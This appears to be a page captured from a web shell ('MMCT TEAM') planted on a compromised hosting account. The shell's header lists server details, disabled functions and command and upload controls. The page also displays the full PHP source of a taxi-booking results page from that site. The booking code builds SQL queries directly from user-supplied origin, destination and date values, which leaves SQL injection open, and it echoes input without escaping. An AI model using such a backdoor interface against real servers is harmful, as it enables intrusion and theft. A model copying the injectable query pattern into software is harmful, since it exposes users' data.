MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 3.144.235.139
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/taxi_route.php
<?php 
include "include/common.php";
if(isset($_SESSION['oneway'])){
  $session = $_SESSION['oneway'];
  $origin = $session['o'];
  $destination = $session['d'];
  $pickup_date = $session['pickup_date'];
  $pickup_time = $session['pickup_time'];
  $lat = $session['lat'];
  $long = $session['long'];
  $trip_type = $session['trip_type'];
  $mobile = $session['mobile'];
}else{
  header('location:'.BASE_URL);
}
$formatted_pickupdate = date('D jS M Y', strtotime($pickup_date));
?>
<!DOCTYPE html>
<html lang="en" style="overflow-x:hidden">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <meta name="msapplication-TileColor" content="#ffffff">
  <meta name="msapplication-TileImage" content="../ms-icon-144x144.html">
  <meta name="theme-color" content="#ffffff">
  <title><?=SITE_NAME?> - Search Cab</title>

  <?php
  include "include/header.php";
  $current_date= date("Y-m-d h:i:s");

  if ($pickup_date===date('Y-m-d')) { ?>
    <style>
      .time2{
        display: none;
      }
    </style>
  <?php }else{ ?>
    <style>
      .time1{
        display: none;
      }
    </style>
  <?php }
  ?>

  <section class="search-details">
    <div class="container">
      <div class="card locationbox">
        <ul class="list-unstyled locationstyle">
          <li class="pick-up"><span><?=$origin; ?><br>
            <span class="display_none_phone">( <?=$formatted_pickupdate?> <?=$pickup_time?> )</span></span></li>
            <li class="icon"><div><i class="fa fa-chevron-right"></i></div></li>
            <li class="droploc"><span><?=$destination; ?><br><span class="display_none_phone">( <?=$formatted_pickupdate?> 11:59 PM )</span></span></li>
          </ul>
        </div>

        <div class="head">
          <p><span class="d-lg-none"><?=$formatted_pickupdate?> <?=$pickup_time?></span></p>
          <button type="button" class="btn-theme" data-toggle="modal" data-backdrop="false" data-target="#myModal"><i class="fa fa-pencil-square-o"></i> Modify</button>
        </div>
      </div>
    </section>

    <!-- ===============modal form============= -->

    <div class="modal fade" id="myModal" role="dialog" style="z-index: 10000000;">
      <div class="modal-dialog">
        <div class="modal-content">
          <div class="">
            <button type="button" class="close" data-dismiss="modal">&times;</button>
          </div>
          <form method="POST" action="recent_form_submision.php">
            <h4 class="form-heading">Oneway Trip</h4>

            <input type="hidden" name="trip_type" value="One Way">
            <input type="hidden" name="mobile" value="<?=$mobile?>">
            <input type="hidden" name="lat" id="lat">
            <input type="hidden" name="long" id="long">

            <div class="form-group row">
              <div class="col-md-3">
                <label>From:</label>
              </div>
              <div class="col-md-9">
                <input required type="text" class="form-control" placeholder="Start Typing City" id="autocomplete" name="o" value="<?php echo $origin; ?>">
                <div class="exchange"><i class="fa fa-exchange" onclick="swipe_from_to('autocomplete','autocomplete2')"></i></div>
              </div>
            </div>

            <div class="form-group row">
              <div class="col-md-3">
                <label>To:</label>
              </div>
              <div class="col-md-9">
                <input required type="text" class="form-control" placeholder="Start Typing City" id="autocomplete2" name="d" value="<?php echo $destination; ?>">
              </div>
            </div>
            <div class="form-group row">
              <div class="col-md-6"> 
                <label>Pick Up:</label>
                <input type="date" required class="date form-control" placeholder="Pickup Date" min="<?php echo date('Y-m-d'); ?>" id="out_pick_date" name="pickup_date" value="<?php echo $pickup_date; ?>">
              </div>

              <div class="col-md-6"> 
                <label>Pick At:</label>
                <select class="form-control" name="pickup_time" id="time" placeholder="Time" required>
                  <?php 
                  $q = "select * from time_slots";
                  $query = mysqli_query($db,$q);
                  while($time = mysqli_fetch_array($query)) {
                    $start = strtotime($time['opening_time']);
                    $end = strtotime($time['closing_time']);
                    $timeSlot = $time['time_slot'];
                    for ($i=$start; $i<$end; $i = $i + $timeSlot*60){
                      $timeFrom = date('h:i A',$i);
                      $timeTo = date('h:i A',strtotime('+'.$timeSlot.'minutes',strtotime($timeFrom)));
                      ?>
                      <?php
                      date_default_timezone_set('Asia/Kolkata');
                      $timestamp = strtotime(date('H:i')) + 60*60;
                      $currentTime = strtotime(date('h:i A', $timestamp));
                      if($currentTime <= strtotime($timeFrom)){ ?>
                        <option value="<?php echo $timeFrom; ?>" <?php if($pickup_time==$timeFrom){echo 'selected';} ?> class="time1"><?php echo $timeFrom; ?></option>
                      <?php } ?>
                      <option value="<?php echo $timeFrom; ?>" <?php if($pickup_time==$timeFrom){echo 'selected';} ?> class="time2"><?php echo $timeFrom; ?></option>
                    <?php } } ?>
                  </select>
                </div>
              </div>
              <div class="text-center ">
                <input type="submit" class="btn btn-theme" name="submit" value="Select Car" />
              </div>
            </form>
          </div>
        </div>
      </div>

      <!-- ===============modal form============= -->

      <!--cab type-->
      <?php
      $api = file_get_contents("https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=" . urlencode($origin) .
        "&destinations=" . urlencode($destination) . "&key=".$google_key);
      $data = json_decode($api);
      $distance = round(((int)$data->rows[0]->elements[0]->distance->value / 1000));

      $date= date("Y-m-d");

  // echo $distance;

// Split the origin and destination into individual words
      $originWords = array_map('trim', explode(',', $origin));
      $destinationWords = array_map('trim', explode(',', $destination));

// Prepare the WHERE clause to match any word from origin and destination
      $originConditions = [];
      $originConditionsreverse = [];
      foreach ($originWords as $word) {
        $originConditions[] = "city1='$word'";
        $originConditionsreverse[] = "city2='$word'";
      }
      $destinationConditions = [];
      $destinationConditionsreverse = [];
      foreach ($destinationWords as $word) {
        $destinationConditions[] = "city2='$word'";
        $destinationConditionsreverse[] = "city1='$word'";
      }

// print_r($destinationConditions);

// Combine the conditions into the SQL query
  // $query = $db->query("SELECT * FROM route WHERE status=1 AND (" . implode(' OR ', $originConditions) . ") AND (" . implode(' OR ', $destinationConditions) . ")");

      $query = $db->query("
        SELECT * 
        FROM route 
        WHERE status = 1 
        AND (
          ((" . implode(' OR ', $originConditions) . ") AND (" . implode(' OR ', $destinationConditions) . ") AND reverse_route!=1) 
          OR 
          ((" . implode(' OR ', $originConditions) . ") AND (" . implode(' OR ', $destinationConditions) . ") AND reverse_route=1)
          )
        ");


      $route = mysqli_fetch_array($query);
      if ($query->num_rows==0) {
        echo '<script>window.location.href = "local-rental-result.php";</script>';
      }
      $route_id = $route['id'];


//   if ($route['reverse_route']==1) {
//   $query = "SELECT *,cab_route.price as price,cab_route.id as cab_route_id FROM cab_route INNER JOIN cab_types ON cab_types.id=cab_route.cab_type WHERE route_id='$route_id' AND reverse=1 ORDER BY cab_types.indexing ASC";
// }else{
      $query = "SELECT *,cab_route.price as price,cab_route.id as cab_route_id FROM cab_route INNER JOIN cab_types ON cab_types.id=cab_route.cab_type WHERE route_id='$route_id' ORDER BY cab_types.indexing ASC";
// }
      $tabs_result = $db->query($query);
      $results = $db->query($query);

      ?>

      <section class="cab-price-section">
        <div class="container">
          <ul class="nav nav-tabs d-lg-none" id="myTab" role="tablist">

            <?php $i=1; while ($tab = mysqli_fetch_array($tabs_result)) {
              if ($i==1) {
                $active = 'active';
              }else{
                $active='';
              }

              if ($tab['date_from']!=NULL) {

                if ($tab['date_from']<=$pickup_date && $tab['date_to']>=$pickup_date) {
                  $amount = $tab['price'];
                }else{
                  $amount = $tab['amount'];
                }
              }else{
                $amount = $tab['amount'];
              }

          // if ($cab_route['reverse']==1) {
          //   $amount = $cab_route['reverse_amount'];
          // }

              $cab_route_id = $tab['id'];
              $query = $db->query("SELECT * FROM route_date_price WHERE route_id='$route_id' AND cab_route_id='$cab_route_id' AND date='$pickup_date'");
              if ($query->num_rows>0) {
                $route_date = $query->fetch_assoc();
                $amount = $route_date['amt'];
              }

              if ($route['distance']<$distance) {
                $distances = $distance-$route['distance'];
                $extra_amount_km = $tab['extra_amount']*$distances;
                $distance = $distance;
              }else{
                $distance = $route['distance'];
                $extra_amount_km=0;
              }

              $amount = $amount+$extra_amount_km;
              $discount=$amount*$route['discount']/100;
              $discount_price=$amount+$discount;

              ?>
              <!-- tabs -->
              <li class="nav-item">
                <a class="nav-link <?=$active?>" data-toggle="tab" href="#tabs-<?=$i?>" role="tab">
                  <p><?php echo $tab['type']; ?></p>
                  <img src="admin/<?php echo $tab['img'] ?>">
                  <p>₹<?=$amount?></p>
                </a>
              </li>
              <!-- tabs -->
              <?php $i++; } ?>
            </ul>

            <div class="tab-content">
              <?php $i=1; while($cab_route = mysqli_fetch_assoc($results)){

                if ($i==1) {
                  $active = 'active';
                }else{
                  $active='';
                }


                if ($cab_route['date_from']!=NULL) {

                  if ($cab_route['date_from']<=$pickup_date && $cab_route['date_to']>=$pickup_date) {
                    $amount = $cab_route['price'];
                  }else{
                    $amount = $cab_route['amount'];
                  }
                }else{
                  $amount = $cab_route['amount'];
                }

            // if ($cab_route['reverse']==1) {
            //   $amount = $cab_route['reverse_amount'];
            // }

                $cab_route_id = $cab_route['id'];
                $query = $db->query("SELECT * FROM route_date_price WHERE route_id='$route_id' AND cab_route_id='$cab_route_id' AND date='$pickup_date'");
                if ($query->num_rows>0) {
                  $route_date = $query->fetch_assoc();
                  $amount = $route_date['amt'];
                }


                if ($route['distance']<$distance) {
                  $distances = $distance-$route['distance'];
                  $extra_amount_km = $cab_route['extra_amount']*$distances;
                  $distance = $distance;
                }else{
                  $distance = $route['distance'];
                  $extra_amount_km=0;
                }

                $amount = $amount+$extra_amount_km;
                $discount=$amount*$route['discount']/100;
                $discount_price=$amount+$discount;

                $percentage = ($amount / $discount_price) * 100;
                $percentage = 100-$percentage;
                ?>

                <div class="tab-pane p-3 <?=$active?>" id="tabs-<?=$i?>" role="tabpanel">
                  <form method="POST" action="final_form_submit.php">
                    <input type="hidden" name="trip_type" value="<?=$trip_type?>">
                    <input type="hidden" name="mobile" value="<?=$mobile?>">
                    <input type="hidden" name="distance" value="<?php echo $distance; ?>" />
                    <input type="hidden" name="time" value="<?php echo $time; ?>" />
                    <input type="hidden" name="o" value="<?php echo $origin; ?>" />
                    <input type="hidden" name="d" value="<?php echo $destination; ?>" />
                    <input type="hidden" name="pickup_date" value="<?php echo $pickup_date; ?>" />
                    <input type="hidden" name="pickup_time" value="<?php echo $pickup_time; ?>" />
                    <input type="hidden" name="dis" value="<?php echo $distance; ?>" />
                    <input type="hidden" name="lat" value="<?php echo $lat; ?>" />
                    <input type="hidden" name="long" value="<?php echo $long; ?>" />
                    <input type="hidden" name="extra_km" value="<?=$cab_route['extra_amount']?>" />
                    <input type="hidden" name="rate" value="<?=$amount?>" />
                    <input type="hidden" name="time" value="<?php echo $time; ?>" />


                    <div class="position-relative phone-offer-badge d-lg-none mt-3">
                      <?php if ($percentage>0) { ?>
                        <div class="offer-tag">
                          <img src="images/offer-badge.png"><p><?=round($percentage,2)?> %<br> OFF</p>
                        </div>
                      <?php } ?>
                      <div class="cab-card-phone">
                        <div class="cab-name"><?php echo $cab_route['type']; ?></div>
                        <div class="d-flex">
                          <div class="cab-card-body">
                            <div class="cab-price">
                              <div class="price">₹ <?=$amount?></div>
                              <?php if($discount_price>$amount){ ?>
                                <div class="base-price"><del>₹ <?=round($discount_price)?></del> </div>
                                <div class="save-price">Save ₹ <?=round($discount_price-$amount)?> </div>
                              <?php } ?>

                            </div>
                          </div>
                          <div class="card-img">
                            <img src="admin/<?php echo $cab_route['img'] ?>">
                          </div>
                        </div>
                        <ul>
                          <li><i class="fa fa-check"></i><span class="text-danger">Free Cancellation</span> till 4 hours of departure.</li>
                          <li><i class="fa fa-check"></i>100% Verified Drivers.</li>
                          <li class="text-success"><i class="fa fa-check"></i>Best Price Guaranteed.</li>
                          <li><i class="fa fa-check"></i> <?=$distance;?> km Included</li>
                          <li class="text-danger"><i class="fa fa-check"></i><?=$cab_route['extra_amount']?>/Km After <?=$distance;?> Kms.</li>
                        </ul>

                        <div class="select-btn">
                          <button type="submit" class="btn-theme w-100" name="cab_cat_id" value="<?=$cab_route['id']; ?>">Select</button>
                        </div>
                      </div>
                    </div>
                  </form>
                </div>

                <div class="position-relative">
                  <div class="border-box">
                    <form method="POST" action="final_form_submit.php">
                      <input type="hidden" name="trip_type" value="One Way">
                      <input type="hidden" name="distance" value="<?php echo $distance; ?>" />
                      <input type="hidden" name="mobile" value="<?=$mobile?>">
                      <input type="hidden" name="time" value="<?php echo $time; ?>" />
                      <input type="hidden" name="o" value="<?php echo $origin; ?>" />
                      <input type="hidden" name="d" value="<?php echo $destination; ?>" />
                      <input type="hidden" name="pickup_date" value="<?php echo $pickup_date; ?>" />
                      <input type="hidden" name="pickup_time" value="<?php echo $pickup_time; ?>" />
                      <input type="hidden" name="dis" value="<?php echo $distance; ?>" />
                      <input type="hidden" name="lat" value="<?php echo $lat; ?>" />
                      <input type="hidden" name="long" value="<?php echo $long; ?>" />
                      <input type="hidden" name="extra_km" value="<?=$cab_route['extra_amount']?>" />
                      <input type="hidden" name="rate" value="<?=$amount?>" />
                      <input type="hidden" name="time" value="<?php echo $time; ?>" />
                      <?php if ($percentage>0) { ?>
                        <div class="offer-tag">
                          <img src="images/offer-badge.png"><p><?=round($percentage,2)?> %<br> OFF</p>
                        </div>
                      <?php } ?>

                      <div class="row align-items-center">
                        <div class="col-md-4">
                          <div class="cab-detail">
                            <img src="admin/<?php echo $cab_route['img'] ?>">
                            <div class="cab-name"><?php echo $cab_route['type']; ?></div>
                          </div>
                        </div>
                        <div class="col-md-2">
                          <div class="cab-price">
                            <?php if($discount_price>$amount){ ?>
                              <div class="base-price"><del>₹ <?=round($discount_price)?></del> </div>
                              <div class="save-price">Save ₹ <?=round($discount_price-$amount)?> </div>
                            <?php } ?>
                            <div class="price">₹ <?=$amount?></div>
                          </div>
                        </div>
                        <div class="col-md-4">
                          <ul>
                            <li><i class="fa fa-check"></i><span class="text-danger">Free Cancellation</span> till 4 hours of departure.</li>
                            <li><i class="fa fa-check"></i>100% Verified Drivers.</li>
                            <li class="text-success"><i class="fa fa-check"></i>Best Price Guaranteed.</li>
                            <li><i class="fa fa-check"></i> <?=$distance;?> km Included</li>
                            <li class="text-danger"><i class="fa fa-check"></i><?=$cab_route['extra_amount']?>/Km After <?=$distance;?> Kms.</li>
                          </ul>
                        </div>
                        <div class="col-md-2">
                          <div class="select-btn">
                            <button type="submit" class="btn-theme" name="cab_cat_id" value="<?=$cab_route['id']; ?>">Select</button>
                          </div>
                        </div>
                      </div>
                    </form>
                  </div>
                </div>
                <?php $i++; } ?>
              </div>
            </div>
          </section>

          <script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?key=<?=$google_key?>&libraries=places"></script>
          <script>
            function initialize() {
              var options = {
                types: "cities",
                componentRestrictions: {
                  country: "ind"
                },
              };
              var input = document.getElementById("autocomplete");
              var autocomplete = new google.maps.places.Autocomplete(input, options);
              var input = document.getElementById("autocomplete2");
              var autocomplete102 = new google.maps.places.Autocomplete(input, options);
              google.maps.event.addListener(autocomplete102, "place_changed", function() {
                var one_way = autocomplete102.getPlace();
      // document.getElementById('city2').value = place.name;
                document.getElementById("lat").value = one_way.geometry.location.lat();
                document.getElementById("long").value = one_way.geometry.location.lng();
              });
            }
            google.maps.event.addDomListener(window, "load", initialize);
  // ================one way===================

            $(".date").on('change', function() {
              var selectdate = $(this).val();
              var minDate = $(this).attr('min');
                    // alert(minDate);
              if (minDate != selectdate) {
                $(".time2").show();
                $(".time1").hide();
                $("#first_opt").html('Select Pick Up Time');
              } else {
                $(".time1").show();
                $(".time2").hide();
                $("#first_opt").html('Select Pick Up Time');;
              }
            });


          </script>

          <?php include "include/footer.php" ?>

MMCT - 2023